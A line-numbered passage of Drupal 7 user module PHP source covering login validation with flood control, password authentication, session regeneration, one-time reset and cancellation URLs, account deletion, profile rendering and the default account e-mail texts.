1909 }
1910}
1911
1912/**
1913 * Implements hook_menu_link_alter().
1914 */
1915function user_menu_link_alter(&$link) {
1916 // The path 'user' must be accessible for anonymous users, but only visible
1917 // for authenticated users. Authenticated users should see "My account", but
1918 // anonymous users should not see it at all. Therefore, invoke
1919 // user_translated_menu_link_alter() to conditionally hide the link.
1920 if ($link['link_path'] == 'user' && isset($link['module']) && $link['module'] == 'system') {
1921 $link['options']['alter'] = TRUE;
1922 }
1923
1924 // Force the Logout link to appear on the top-level of 'user-menu' menu by
1925 // default (i.e., unless it has been customized).
1926 if ($link['link_path'] == 'user/logout' && isset($link['module']) && $link['module'] == 'system' && empty($link['customized'])) {
1927 $link['plid'] = 0;
1928 }
1929}
1930
1931/**
1932 * Implements hook_translated_menu_link_alter().
1933 */
1934function user_translated_menu_link_alter(&$link) {
1935 // Hide the "User account" link for anonymous users.
1936 if ($link['link_path'] == 'user' && $link['module'] == 'system' && !$GLOBALS['user']->uid) {
1937 $link['hidden'] = 1;
1938 }
1939}
1940
1941/**
1942 * Implements hook_admin_paths().
1943 */
1944function user_admin_paths() {
1945 $paths = array(
1946 'user/*/cancel' => TRUE,
1947 'user/*/edit' => TRUE,
1948 'user/*/edit/*' => TRUE,
1949 );
1950 return $paths;
1951}
1952
1953/**
1954 * Returns $arg or the user ID of the current user if $arg is '%' or empty.
1955 *
1956 * Deprecated. Use %user_uid_optional instead.
1957 *
1958 * @todo D8: Remove.
1959 */
1960function user_uid_only_optional_to_arg($arg) {
1961 return user_uid_optional_to_arg($arg);
1962}
1963
1964/**
1965 * Load either a specified or the current user account.
1966 *
1967 * @param $uid
1968 * An optional user ID of the user to load. If not provided, the current
1969 * user's ID will be used.
1970 * @return
1971 * A fully-loaded $user object upon successful user load, FALSE if user
1972 * cannot be loaded.
1973 *
1974 * @see user_load()
1975 * @todo rethink the naming of this in Drupal 8.
1976 */
1977function user_uid_optional_load($uid = NULL) {
1978 if (!isset($uid)) {
1979 $uid = $GLOBALS['user']->uid;
1980 }
1981 return user_load($uid);
1982}
1983
1984/**
1985 * Return a user object after checking if any profile category in the path exists.
1986 */
1987function user_category_load($uid, &$map, $index) {
1988 static $user_categories, $accounts;
1989
1990 // Cache $account - this load function will get called for each profile tab.
1991 if (!isset($accounts[$uid])) {
1992 $accounts[$uid] = user_load($uid);
1993 }
1994 $valid = TRUE;
1995 if ($account = $accounts[$uid]) {
1996 // Since the path is like user/%/edit/category_name, the category name will
1997 // be at a position 2 beyond the index corresponding to the % wildcard.
1998 $category_index = $index + 2;
1999 // Valid categories may contain slashes, and hence need to be imploded.
2000 $category_path = implode('/', array_slice($map, $category_index));
2001 if ($category_path) {
2002 // Check that the requested category exists.
2003 $valid = FALSE;
2004 if (!isset($user_categories)) {
2005 $user_categories = _user_categories();
2006 }
2007 foreach ($user_categories as $category) {
2008 if ($category['name'] == $category_path) {
2009 $valid = TRUE;
2010 // Truncate the map array in case the category name had slashes.
2011 $map = array_slice($map, 0, $category_index);
2012 // Assign the imploded category name to the last map element.
2013 $map[$category_index] = $category_path;
2014 break;
2015 }
2016 }
2017 }
2018 }
2019 return $valid ? $account : FALSE;
2020}
2021
2022/**
2023 * Returns $arg or the user ID of the current user if $arg is '%' or empty.
2024 *
2025 * @todo rethink the naming of this in Drupal 8.
2026 */
2027function user_uid_optional_to_arg($arg) {
2028 // Give back the current user uid when called from eg. tracker, aka.
2029 // with an empty arg. Also use the current user uid when called from
2030 // the menu with a % for the current account link.
2031 return empty($arg) || $arg == '%' ? $GLOBALS['user']->uid : $arg;
2032}
2033
2034/**
2035 * Menu item title callback for the 'user' path.
2036 *
2037 * Anonymous users should see "User account", but authenticated users are
2038 * expected to see "My account".
2039 */
2040function user_menu_title() {
2041 return user_is_logged_in() ? t('My account') : t('User account');
2042}
2043
2044/**
2045 * Menu item title callback - use the user name.
2046 */
2047function user_page_title($account) {
2048 return is_object($account) ? format_username($account) : '';
2049}
2050
2051/**
2052 * Discover which external authentication module(s) authenticated a username.
2053 *
2054 * @param $authname
2055 * A username used by an external authentication module.
2056 * @return
2057 * An associative array with module as key and username as value.
2058 */
2059function user_get_authmaps($authname = NULL) {
2060 $authmaps = db_query("SELECT module, authname FROM {authmap} WHERE authname = :authname", array(':authname' => $authname))->fetchAllKeyed();
2061 return count($authmaps) ? $authmaps : 0;
2062}
2063
2064/**
2065 * Save mappings of which external authentication module(s) authenticated
2066 * a user. Maps external usernames to user ids in the users table.
2067 *
2068 * @param $account
2069 * A user object.
2070 * @param $authmaps
2071 * An associative array with a compound key and the username as the value.
2072 * The key is made up of 'authname_' plus the name of the external authentication
2073 * module.
2074 * @see user_external_login_register()
2075 */
2076function user_set_authmaps($account, $authmaps) {
2077 foreach ($authmaps as $key => $value) {
2078 $module = explode('_', $key, 2);
2079 if ($value) {
2080 db_merge('authmap')
2081 ->key(array(
2082 'uid' => $account->uid,
2083 'module' => $module[1],
2084 ))
2085 ->fields(array('authname' => $value))
2086 ->execute();
2087 }
2088 else {
2089 db_delete('authmap')
2090 ->condition('uid', $account->uid)
2091 ->condition('module', $module[1])
2092 ->execute();
2093 }
2094 }
2095}
2096
2097/**
2098 * Form builder; the main user login form.
2099 *
2100 * @ingroup forms
2101 */
2102function user_login($form, &$form_state) {
2103 global $user;
2104
2105 // If we are already logged on, go to the user page instead.
2106 if ($user->uid) {
2107 drupal_goto('user/' . $user->uid);
2108 }
2109
2110 // Display login form:
2111 $form['name'] = array('#type' => 'textfield',
2112 '#title' => t('Username'),
2113 '#size' => 60,
2114 '#maxlength' => USERNAME_MAX_LENGTH,
2115 '#required' => TRUE,
2116 );
2117
2118 $form['name']['#description'] = t('Enter your @s username.', array('@s' => variable_get('site_name', 'Drupal')));
2119 $form['pass'] = array('#type' => 'password',
2120 '#title' => t('Password'),
2121 '#description' => t('Enter the password that accompanies your username.'),
2122 '#required' => TRUE,
2123 );
2124 $form['#validate'] = user_login_default_validators();
2125 $form['actions'] = array('#type' => 'actions');
2126 $form['actions']['submit'] = array('#type' => 'submit', '#value' => t('Log in'));
2127
2128 return $form;
2129}
2130
2131/**
2132 * Set up a series for validators which check for blocked users,
2133 * then authenticate against local database, then return an error if
2134 * authentication fails. Distributed authentication modules are welcome
2135 * to use hook_form_alter() to change this series in order to
2136 * authenticate against their user database instead of the local users
2137 * table. If a distributed authentication module is successful, it
2138 * should set $form_state['uid'] to a user ID.
2139 *
2140 * We use three validators instead of one since external authentication
2141 * modules usually only need to alter the second validator.
2142 *
2143 * @see user_login_name_validate()
2144 * @see user_login_authenticate_validate()
2145 * @see user_login_final_validate()
2146 * @return array
2147 * A simple list of validate functions.
2148 */
2149function user_login_default_validators() {
2150 return array('user_login_name_validate', 'user_login_authenticate_validate', 'user_login_final_validate');
2151}
2152
2153/**
2154 * A FAPI validate handler. Sets an error if supplied username has been blocked.
2155 */
2156function user_login_name_validate($form, &$form_state) {
2157 if (!empty($form_state['values']['name']) && user_is_blocked($form_state['values']['name'])) {
2158 // Blocked in user administration.
2159 form_set_error('name', t('The username %name has not been activated or is blocked.', array('%name' => $form_state['values']['name'])));
2160 }
2161}
2162
2163/**
2164 * A validate handler on the login form. Check supplied username/password
2165 * against local users table. If successful, $form_state['uid']
2166 * is set to the matching user ID.
2167 */
2168function user_login_authenticate_validate($form, &$form_state) {
2169 $password = trim($form_state['values']['pass']);
2170 if (!empty($form_state['values']['name']) && !empty($password)) {
2171 // Do not allow any login from the current user's IP if the limit has been
2172 // reached. Default is 50 failed attempts allowed in one hour. This is
2173 // independent of the per-user limit to catch attempts from one IP to log
2174 // in to many different user accounts. We have a reasonably high limit
2175 // since there may be only one apparent IP for all users at an institution.
2176 if (!flood_is_allowed('failed_login_attempt_ip', variable_get('user_failed_login_ip_limit', 50), variable_get('user_failed_login_ip_window', 3600))) {
2177 $form_state['flood_control_triggered'] = 'ip';
2178 return;
2179 }
2180 $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $form_state['values']['name']))->fetchObject();
2181 if ($account) {
2182 if (variable_get('user_failed_login_identifier_uid_only', FALSE)) {
2183 // Register flood events based on the uid only, so they apply for any
2184 // IP address. This is the most secure option.
2185 $identifier = $account->uid;
2186 }
2187 else {
2188 // The default identifier is a combination of uid and IP address. This
2189 // is less secure but more resistant to denial-of-service attacks that
2190 // could lock out all users with public user names.
2191 $identifier = $account->uid . '-' . ip_address();
2192 }
2193 $form_state['flood_control_user_identifier'] = $identifier;
2194
2195 // Don't allow login if the limit for this user has been reached.
2196 // Default is to allow 5 failed attempts every 6 hours.
2197 if (!flood_is_allowed('failed_login_attempt_user', variable_get('user_failed_login_user_limit', 5), variable_get('user_failed_login_user_window', 21600), $identifier)) {
2198 $form_state['flood_control_triggered'] = 'user';
2199 return;
2200 }
2201 }
2202 // We are not limited by flood control, so try to authenticate.
2203 // Set $form_state['uid'] as a flag for user_login_final_validate().
2204 $form_state['uid'] = user_authenticate($form_state['values']['name'], $password);
2205 }
2206}
2207
2208/**
2209 * The final validation handler on the login form.
2210 *
2211 * Sets a form error if user has not been authenticated, or if too many
2212 * logins have been attempted. This validation function should always
2213 * be the last one.
2214 */
2215function user_login_final_validate($form, &$form_state) {
2216 if (empty($form_state['uid'])) {
2217 // Always register an IP-based failed login event.
2218 flood_register_event('failed_login_attempt_ip', variable_get('user_failed_login_ip_window', 3600));
2219 // Register a per-user failed login event.
2220 if (isset($form_state['flood_control_user_identifier'])) {
2221 flood_register_event('failed_login_attempt_user', variable_get('user_failed_login_user_window', 21600), $form_state['flood_control_user_identifier']);
2222 }
2223
2224 if (isset($form_state['flood_control_triggered'])) {
2225 if ($form_state['flood_control_triggered'] == 'user') {
2226 form_set_error('name', format_plural(variable_get('user_failed_login_user_limit', 5), 'Sorry, there has been more than one failed login attempt for this account. It is temporarily blocked. Try again later or <a href="@url">request a new password</a>.', 'Sorry, there have been more than @count failed login attempts for this account. It is temporarily blocked. Try again later or <a href="@url">request a new password</a>.', array('@url' => url('user/password'))));
2227 }
2228 else {
2229 // We did not find a uid, so the limit is IP-based.
2230 form_set_error('name', t('Sorry, too many failed login attempts from your IP address. This IP address is temporarily blocked. Try again later or <a href="@url">request a new password</a>.', array('@url' => url('user/password'))));
2231 }
2232 }
2233 else {
2234 // Use $form_state['input']['name'] here to guarantee that we send
2235 // exactly what the user typed in. $form_state['values']['name'] may have
2236 // been modified by validation handlers that ran earlier than this one.
2237 $query = isset($form_state['input']['name']) ? array('name' => $form_state['input']['name']) : array();
2238 form_set_error('name', t('Sorry, unrecognized username or password. <a href="@password">Have you forgotten your password?</a>', array('@password' => url('user/password', array('query' => $query)))));
2239 watchdog('user', 'Login attempt failed for %user.', array('%user' => $form_state['values']['name']));
2240 }
2241 }
2242 elseif (isset($form_state['flood_control_user_identifier'])) {
2243 // Clear past failures for this user so as not to block a user who might
2244 // log in and out more than once in an hour.
2245 flood_clear_event('failed_login_attempt_user', $form_state['flood_control_user_identifier']);
2246 }
2247}
2248
2249/**
2250 * Try to validate the user's login credentials locally.
2251 *
2252 * @param $name
2253 * User name to authenticate.
2254 * @param $password
2255 * A plain-text password, such as trimmed text from form values.
2256 * @return
2257 * The user's uid on success, or FALSE on failure to authenticate.
2258 */
2259function user_authenticate($name, $password) {
2260 $uid = FALSE;
2261 if (!empty($name) && !empty($password)) {
2262 $account = user_load_by_name($name);
2263 if ($account) {
2264 // Allow alternate password hashing schemes.
2265 require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
2266 if (user_check_password($password, $account)) {
2267 // Successful authentication.
2268 $uid = $account->uid;
2269
2270 // Update user to new password scheme if needed.
2271 if (user_needs_new_hash($account)) {
2272 user_save($account, array('pass' => $password));
2273 }
2274 }
2275 }
2276 }
2277 return $uid;
2278}
2279
2280/**
2281 * Finalize the login process. Must be called when logging in a user.
2282 *
2283 * The function records a watchdog message about the new session, saves the
2284 * login timestamp, calls hook_user_login(), and generates a new session.
2285 *
2286 * @param array $edit
2287 * The array of form values submitted by the user.
2288 *
2289 * @see hook_user_login()
2290 */
2291function user_login_finalize(&$edit = array()) {
2292 global $user;
2293 watchdog('user', 'Session opened for %name.', array('%name' => $user->name));
2294 // Update the user table timestamp noting user has logged in.
2295 // This is also used to invalidate one-time login links.
2296 $user->login = REQUEST_TIME;
2297 db_update('users')
2298 ->fields(array('login' => $user->login))
2299 ->condition('uid', $user->uid)
2300 ->execute();
2301
2302 // Regenerate the session ID to prevent against session fixation attacks.
2303 // This is called before hook_user in case one of those functions fails
2304 // or incorrectly does a redirect which would leave the old session in place.
2305 drupal_session_regenerate();
2306
2307 user_module_invoke('login', $edit, $user);
2308}
2309
2310/**
2311 * Submit handler for the login form. Load $user object and perform standard login
2312 * tasks. The user is then redirected to the My Account page. Setting the
2313 * destination in the query string overrides the redirect.
2314 */
2315function user_login_submit($form, &$form_state) {
2316 global $user;
2317 $user = user_load($form_state['uid']);
2318 $form_state['redirect'] = 'user/' . $user->uid;
2319
2320 user_login_finalize($form_state);
2321}
2322
2323/**
2324 * Helper function for authentication modules. Either logs in or registers
2325 * the current user, based on username. Either way, the global $user object is
2326 * populated and login tasks are performed.
2327 */
2328function user_external_login_register($name, $module) {
2329 $account = user_external_load($name);
2330 if (!$account) {
2331 // Register this new user.
2332 $userinfo = array(
2333 'name' => $name,
2334 'pass' => user_password(),
2335 'init' => $name,
2336 'status' => 1,
2337 'access' => REQUEST_TIME
2338 );
2339 $account = user_save(drupal_anonymous_user(), $userinfo);
2340 // Terminate if an error occurred during user_save().
2341 if (!$account) {
2342 drupal_set_message(t("Error saving user account."), 'error');
2343 return;
2344 }
2345 user_set_authmaps($account, array("authname_$module" => $name));
2346 }
2347
2348 // Log user in.
2349 $form_state['uid'] = $account->uid;
2350 user_login_submit(array(), $form_state);
2351}
2352
2353/**
2354 * Generates a unique URL for a user to login and reset their password.
2355 *
2356 * @param object $account
2357 * An object containing the user account, which must contain at least the
2358 * following properties:
2359 * - uid: The user ID number.
2360 * - login: The UNIX timestamp of the user's last login.
2361 *
2362 * @return
2363 * A unique URL that provides a one-time log in for the user, from which
2364 * they can change their password.
2365 */
2366function user_pass_reset_url($account) {
2367 $timestamp = REQUEST_TIME;
2368 return url("user/reset/$account->uid/$timestamp/" . user_pass_rehash($account->pass, $timestamp, $account->login, $account->uid), array('absolute' => TRUE));
2369}
2370
2371/**
2372 * Generates a URL to confirm an account cancellation request.
2373 *
2374 * @param object $account
2375 * The user account object, which must contain at least the following
2376 * properties:
2377 * - uid: The user ID number.
2378 * - pass: The hashed user password string.
2379 * - login: The UNIX timestamp of the user's last login.
2380 *
2381 * @return
2382 * A unique URL that may be used to confirm the cancellation of the user
2383 * account.
2384 *
2385 * @see user_mail_tokens()
2386 * @see user_cancel_confirm()
2387 */
2388function user_cancel_url($account) {
2389 $timestamp = REQUEST_TIME;
2390 return url("user/$account->uid/cancel/confirm/$timestamp/" . user_pass_rehash($account->pass, $timestamp, $account->login, $account->uid), array('absolute' => TRUE));
2391}
2392
2393/**
2394 * Creates a unique hash value for use in time-dependent per-user URLs.
2395 *
2396 * This hash is normally used to build a unique and secure URL that is sent to
2397 * the user by email for purposes such as resetting the user's password. In
2398 * order to validate the URL, the same hash can be generated again, from the
2399 * same information, and compared to the hash value from the URL. The URL
2400 * normally contains both the time stamp and the numeric user ID. The login
2401 * timestamp and hashed password are retrieved from the database as necessary.
2402 * For a usage example, see user_cancel_url() and user_cancel_confirm().
2403 *
2404 * @param string $password
2405 * The hashed user account password value.
2406 * @param int $timestamp
2407 * A UNIX timestamp, typically REQUEST_TIME.
2408 * @param int $login
2409 * The UNIX timestamp of the user's last login.
2410 * @param int $uid
2411 * The user ID of the user account.
2412 *
2413 * @return
2414 * A string that is safe for use in URLs and SQL statements.
2415 */
2416function user_pass_rehash($password, $timestamp, $login, $uid) {
2417 // Backwards compatibility: Try to determine a $uid if one was not passed.
2418 // (Since $uid is a required parameter to this function, a PHP warning will
2419 // be generated if it's not provided, which is an indication that the calling
2420 // code should be updated. But the code below will try to generate a correct
2421 // hash in the meantime.)
2422 if (!isset($uid)) {
2423 $uids = db_query_range('SELECT uid FROM {users} WHERE pass = :password AND login = :login AND uid > 0', 0, 2, array(':password' => $password, ':login' => $login))->fetchCol();
2424 // If exactly one user account matches the provided password and login
2425 // timestamp, proceed with that $uid.
2426 if (count($uids) == 1) {
2427 $uid = reset($uids);
2428 }
2429 // Otherwise there is no safe hash to return, so return a random string
2430 // that will never be treated as a valid token.
2431 else {
2432 return drupal_random_key();
2433 }
2434 }
2435
2436 return drupal_hmac_base64($timestamp . $login . $uid, drupal_get_hash_salt() . $password);
2437}
2438
2439/**
2440 * Cancel a user account.
2441 *
2442 * Since the user cancellation process needs to be run in a batch, either
2443 * Form API will invoke it, or batch_process() needs to be invoked after calling
2444 * this function and should define the path to redirect to.
2445 *
2446 * @param $edit
2447 * An array of submitted form values.
2448 * @param $uid
2449 * The user ID of the user account to cancel.
2450 * @param $method
2451 * The account cancellation method to use.
2452 *
2453 * @see _user_cancel()
2454 */
2455function user_cancel($edit, $uid, $method) {
2456 global $user;
2457
2458 $account = user_load($uid);
2459
2460 if (!$account) {
2461 drupal_set_message(t('The user account %id does not exist.', array('%id' => $uid)), 'error');
2462 watchdog('user', 'Attempted to cancel non-existing user account: %id.', array('%id' => $uid), WATCHDOG_ERROR);
2463 return;
2464 }
2465
2466 // Initialize batch (to set title).
2467 $batch = array(
2468 'title' => t('Cancelling account'),
2469 'operations' => array(),
2470 );
2471 batch_set($batch);
2472
2473 // Modules use hook_user_delete() to respond to deletion.
2474 if ($method != 'user_cancel_delete') {
2475 // Allow modules to add further sets to this batch.
2476 module_invoke_all('user_cancel', $edit, $account, $method);
2477 }
2478
2479 // Finish the batch and actually cancel the account.
2480 $batch = array(
2481 'title' => t('Cancelling user account'),
2482 'operations' => array(
2483 array('_user_cancel', array($edit, $account, $method)),
2484 ),
2485 );
2486
2487 // After cancelling account, ensure that user is logged out.
2488 if ($account->uid == $user->uid) {
2489 // Batch API stores data in the session, so use the finished operation to
2490 // manipulate the current user's session id.
2491 $batch['finished'] = '_user_cancel_session_regenerate';
2492 }
2493
2494 batch_set($batch);
2495
2496 // Batch processing is either handled via Form API or has to be invoked
2497 // manually.
2498}
2499
2500/**
2501 * Implements callback_batch_operation().
2502 *
2503 * Last step for cancelling a user account.
2504 *
2505 * Since batch and session API require a valid user account, the actual
2506 * cancellation of a user account needs to happen last.
2507 *
2508 * @see user_cancel()
2509 */
2510function _user_cancel($edit, $account, $method) {
2511 global $user;
2512
2513 switch ($method) {
2514 case 'user_cancel_block':
2515 case 'user_cancel_block_unpublish':
2516 default:
2517 // Send account blocked notification if option was checked.
2518 if (!empty($edit['user_cancel_notify'])) {
2519 _user_mail_notify('status_blocked', $account);
2520 }
2521 user_save($account, array('status' => 0));
2522 drupal_set_message(t('%name has been disabled.', array('%name' => $account->name)));
2523 watchdog('user', 'Blocked user: %name %email.', array('%name' => $account->name, '%email' => '<' . $account->mail . '>'), WATCHDOG_NOTICE);
2524 break;
2525
2526 case 'user_cancel_reassign':
2527 case 'user_cancel_delete':
2528 // Send account canceled notification if option was checked.
2529 if (!empty($edit['user_cancel_notify'])) {
2530 _user_mail_notify('status_canceled', $account);
2531 }
2532 user_delete($account->uid);
2533 drupal_set_message(t('%name has been deleted.', array('%name' => $account->name)));
2534 watchdog('user', 'Deleted user: %name %email.', array('%name' => $account->name, '%email' => '<' . $account->mail . '>'), WATCHDOG_NOTICE);
2535 break;
2536 }
2537
2538 // After cancelling account, ensure that user is logged out. We can't destroy
2539 // their session though, as we might have information in it, and we can't
2540 // regenerate it because batch API uses the session ID, we will regenerate it
2541 // in _user_cancel_session_regenerate().
2542 if ($account->uid == $user->uid) {
2543 $user = drupal_anonymous_user();
2544 }
2545
2546 // Clear the cache for anonymous users.
2547 cache_clear_all();
2548}
2549
2550/**
2551 * Implements callback_batch_finished().
2552 *
2553 * Finished batch processing callback for cancelling a user account.
2554 *
2555 * @see user_cancel()
2556 */
2557function _user_cancel_session_regenerate() {
2558 // Regenerate the users session instead of calling session_destroy() as we
2559 // want to preserve any messages that might have been set.
2560 drupal_session_regenerate();
2561}
2562
2563/**
2564 * Delete a user.
2565 *
2566 * @param $uid
2567 * A user ID.
2568 */
2569function user_delete($uid) {
2570 user_delete_multiple(array($uid));
2571}
2572
2573/**
2574 * Delete multiple user accounts.
2575 *
2576 * @param $uids
2577 * An array of user IDs.
2578 */
2579function user_delete_multiple(array $uids) {
2580 if (!empty($uids)) {
2581 $accounts = user_load_multiple($uids, array());
2582
2583 $transaction = db_transaction();
2584 try {
2585 foreach ($accounts as $uid => $account) {
2586 module_invoke_all('user_delete', $account);
2587 module_invoke_all('entity_delete', $account, 'user');
2588 field_attach_delete('user', $account);
2589 drupal_session_destroy_uid($account->uid);
2590 }
2591
2592 db_delete('users')
2593 ->condition('uid', $uids, 'IN')
2594 ->execute();
2595 db_delete('users_roles')
2596 ->condition('uid', $uids, 'IN')
2597 ->execute();
2598 db_delete('authmap')
2599 ->condition('uid', $uids, 'IN')
2600 ->execute();
2601 }
2602 catch (Exception $e) {
2603 $transaction->rollback();
2604 watchdog_exception('user', $e);
2605 throw $e;
2606 }
2607 entity_get_controller('user')->resetCache();
2608 }
2609}
2610
2611/**
2612 * Page callback wrapper for user_view().
2613 */
2614function user_view_page($account) {
2615 // An administrator may try to view a non-existent account,
2616 // so we give them a 404 (versus a 403 for non-admins).
2617 return is_object($account) ? user_view($account) : MENU_NOT_FOUND;
2618}
2619
2620/**
2621 * Generate an array for rendering the given user.
2622 *
2623 * When viewing a user profile, the $page array contains:
2624 *
2625 * - $page['content']['Profile Category']:
2626 * Profile categories keyed by their human-readable names.
2627 * - $page['content']['Profile Category']['profile_machine_name']:
2628 * Profile fields keyed by their machine-readable names.
2629 * - $page['content']['user_picture']:
2630 * User's rendered picture.
2631 * - $page['content']['summary']:
2632 * Contains the default "History" profile data for a user.
2633 * - $page['content']['#account']:
2634 * The user account of the profile being viewed.
2635 *
2636 * To theme user profiles, copy modules/user/user-profile.tpl.php
2637 * to your theme directory, and edit it as instructed in that file's comments.
2638 *
2639 * @param $account
2640 * A user object.
2641 * @param $view_mode
2642 * View mode, e.g. 'full'.
2643 * @param $langcode
2644 * (optional) A language code to use for rendering. Defaults to the global
2645 * content language of the current request.
2646 *
2647 * @return
2648 * An array as expected by drupal_render().
2649 */
2650function user_view($account, $view_mode = 'full', $langcode = NULL) {
2651 if (!isset($langcode)) {
2652 $langcode = $GLOBALS['language_content']->language;
2653 }
2654
2655 // Retrieve all profile fields and attach to $account->content.
2656 user_build_content($account, $view_mode, $langcode);
2657
2658 $build = $account->content;
2659 // We don't need duplicate rendering info in account->content.
2660 unset($account->content);
2661
2662 $build += array(
2663 '#theme' => 'user_profile',
2664 '#account' => $account,
2665 '#view_mode' => $view_mode,
2666 '#language' => $langcode,
2667 );
2668
2669 // Allow modules to modify the structured user.
2670 $type = 'user';
2671 drupal_alter(array('user_view', 'entity_view'), $build, $type);
2672
2673 return $build;
2674}
2675
2676/**
2677 * Builds a structured array representing the profile content.
2678 *
2679 * @param $account
2680 * A user object.
2681 * @param $view_mode
2682 * View mode, e.g. 'full'.
2683 * @param $langcode
2684 * (optional) A language code to use for rendering. Defaults to the global
2685 * content language of the current request.
2686 */
2687function user_build_content($account, $view_mode = 'full', $langcode = NULL) {
2688 if (!isset($langcode)) {
2689 $langcode = $GLOBALS['language_content']->language;
2690 }
2691
2692 // Remove previously built content, if exists.
2693 $account->content = array();
2694
2695 // Allow modules to change the view mode.
2696 $view_mode = key(entity_view_mode_prepare('user', array($account->uid => $account), $view_mode, $langcode));
2697
2698 // Build fields content.
2699 field_attach_prepare_view('user', array($account->uid => $account), $view_mode, $langcode);
2700 entity_prepare_view('user', array($account->uid => $account), $langcode);
2701 $account->content += field_attach_view('user', $account, $view_mode, $langcode);
2702
2703 // Populate $account->content with a render() array.
2704 module_invoke_all('user_view', $account, $view_mode, $langcode);
2705 module_invoke_all('entity_view', $account, 'user', $view_mode, $langcode);
2706
2707 // Make sure the current view mode is stored if no module has already
2708 // populated the related key.
2709 $account->content += array('#view_mode' => $view_mode);
2710}
2711
2712/**
2713 * Implements hook_mail().
2714 */
2715function user_mail($key, &$message, $params) {
2716 $language = $message['language'];
2717 $variables = array('user' => $params['account']);
2718 $message['subject'] .= _user_mail_text($key . '_subject', $language, $variables);
2719 $message['body'][] = _user_mail_text($key . '_body', $language, $variables);
2720}
2721
2722/**
2723 * Returns a mail string for a variable name.
2724 *
2725 * Used by user_mail() and the settings forms to retrieve strings.
2726 */
2727function _user_mail_text($key, $language = NULL, $variables = array(), $replace = TRUE) {
2728 $langcode = isset($language) ? $language->language : NULL;
2729
2730 if ($admin_setting = variable_get('user_mail_' . $key, FALSE)) {
2731 // An admin setting overrides the default string.
2732 $text = $admin_setting;
2733 }
2734 else {
2735 // No override, return default string.
2736 switch ($key) {
2737 case 'register_no_approval_required_subject':
2738 $text = t('Account details for [user:name] at [site:name]', array(), array('langcode' => $langcode));
2739 break;
2740 case 'register_no_approval_required_body':
2741 $text = t("[user:name],
2742
2743Thank you for registering at [site:name]. You may now log in by clicking this link or copying and pasting it to your browser:
2744
2745[user:one-time-login-url]
2746
2747This link can only be used once to log in and will lead you to a page where you can set your password.
2748
2749After setting your password, you will be able to log in at [site:login-url] in the future using:
2750
2751username: [user:name]
2752password: Your password
2753
2754-- [site:name] team", array(), array('langcode' => $langcode));
2755 break;
2756
2757 case 'register_admin_created_subject':
2758 $text = t('An administrator created an account for you at [site:name]', array(), array('langcode' => $langcode));
2759 break;
2760 case 'register_admin_created_body':
2761 $text = t("[user:name],
2762
2763A site administrator at [site:name] has created an account for you. You may now log in by clicking this link or copying and pasting it to your browser:
2764
2765[user:one-time-login-url]
2766
2767This link can only be used once to log in and will lead you to a page where you can set your password.
2768
2769After setting your password, you will be able to log in at [site:login-url] in the future using:
2770
2771username: [user:name]
2772password: Your password
2773
2774-- [site:name] team", array(), array('langcode' => $langcode));
2775 break;
2776
2777 case 'register_pending_approval_subject':
2778 case 'register_pending_approval_admin_subject':
2779 $text = t('Account details for [user:name] at [site:name] (pending admin approval)', array(), array('langcode' => $langcode));
2780 break;
2781 case 'register_pending_approval_body':
2782 $text = t("[user:name],
2783
2784Thank you for registering at [site:name]. Your application for an account is currently pending approval. Once it has been approved, you will receive another e-mail containing information about how to log in, set your password, and other details.
2785
2786
2787-- [site:name] team", array(), array('langcode' => $langcode));
2788 break;
2789 case 'register_pending_approval_admin_body':
2790 $text = t("[user:name] has applied for an account.
2791
2792[user:edit-url]", array(), array('langcode' => $langcode));
2793 break;
2794
2795 case 'password_reset_subject':
2796 $text = t('Replacement login information for [user:name] at [site:name]', array(), array('langcode' => $langcode));
2797 break;
2798 case 'password_reset_body':
2799 $text = t("[user:name],
2800
2801A request to reset the password for your account has been made at [site:name].
2802
2803You may now log in by clicking this link or copying and pasting it to your browser:
2804
2805[user:one-time-login-url]
2806
2807This link can only be used once to log in and will lead you to a page where you can set your password. It expires after one day and nothing will happen if it's not used.
2808
2809-- [site:name] team", array(), array('langcode' => $langcode));
2810 break;
2811
2812 case 'status_activated_subject':
2813 $text = t('Account details for [user:name] at [site:name] (approved)', array(), array('langcode' => $langcode));
2814 break;
2815 case 'status_activated_body':
2816 $text = t("[user:name],
2817
2818Your account at [site:name] has been activated.
2819
2820You may now log in by clicking this link or copying and pasting it into your browser:
2821
2822[user:one-time-login-url]
2823
2824This link can only be used once to log in and will lead you to a page where you can set your password.
2825
2826After setting your password, you will be able to log in at [site:login-url] in the future using:
2827
2828username: [user:name]
2829password: Your password
2830
2831-- [site:name] team", array(), array('langcode' => $langcode));
2832 break;
2833
2834 case 'status_blocked_subject':
2835 $text = t('Account details for [user:name] at [site:name] (blocked)', array(), array('langcode' => $langcode));
2836 break;
2837 case 'status_blocked_body':
2838 $text = t("[user:name],
2839
2840Your account on [site:name] has been blocked.
2841
2842-- [site:name] team", array(), array('langcode' => $langcode));
2843 break;
2844
2845 case 'cancel_confirm_subject':
2846 $text = t('Account cancellation request for [user:name] at [site:name]', array(), array('langcode' => $langcode));
2847 break;
2848 case 'cancel_confirm_body':
2849 $text = t("[user:name],
2850
2851A request to cancel your account has been made at [site:name].
2852
2853You may now cancel your account on [site:url-brief] by clicking this link or copying and pasting it into your browser:
2854
2855[user:cancel-url]
2856
2857NOTE: The cancellation of your account is not reversible.
2858
2859This link expires in one day and nothing will happen if it is not used.
2860
2861-- [site:name] team", array(), array('langcode' => $langcode));
2862 break;
2863
2864 case 'status_canceled_subject':
2865 $text = t('Account details for [user:name] at [site:name] (canceled)', array(), array('langcode' => $langcode));
2866 break;
2867 case 'status_canceled_body':
2868 $text = t("[user:name],
2869
2870Your account on [site:name] has been canceled.
2871
2872-- [site:name] team", array(), array('langcode' => $langcode));
2873 break;
2874 }
2875 }
2876
2877 if ($replace) {
2878 // We do not sanitize the token replacement, since the output of this
2879 // replacement is intended for an e-mail message, not a web browser.
2880 return token_replace($text, $variables, array('language' => $language, 'callback' => 'user_mail_tokens', 'sanitize' => FALSE, 'clear' => TRUE));
2881 }
2882
2883 return $text;
2884}
2885
2886/**
2887 * Token callback to add unsafe tokens for user mails.
2888 *
2889 * This function is used by the token_replace() call at the end of
2890 * _user_mail_text() to set up some additional tokens that can be
2891 * used in email messages generated by user_mail().
2892 *
2893 * @param $replacements
2894 * An associative array variable containing mappings from token names to
2895 * values (for use with strtr()).
2896 * @param $data
2897 * An associative array of token replacement values. If the 'user' element
2898 * exists, it must contain a user account object with the following
2899 * properties:
2900 * - login: The UNIX timestamp of the user's last login.
2901 * - pass: The hashed account login password.
2902 * @param $options
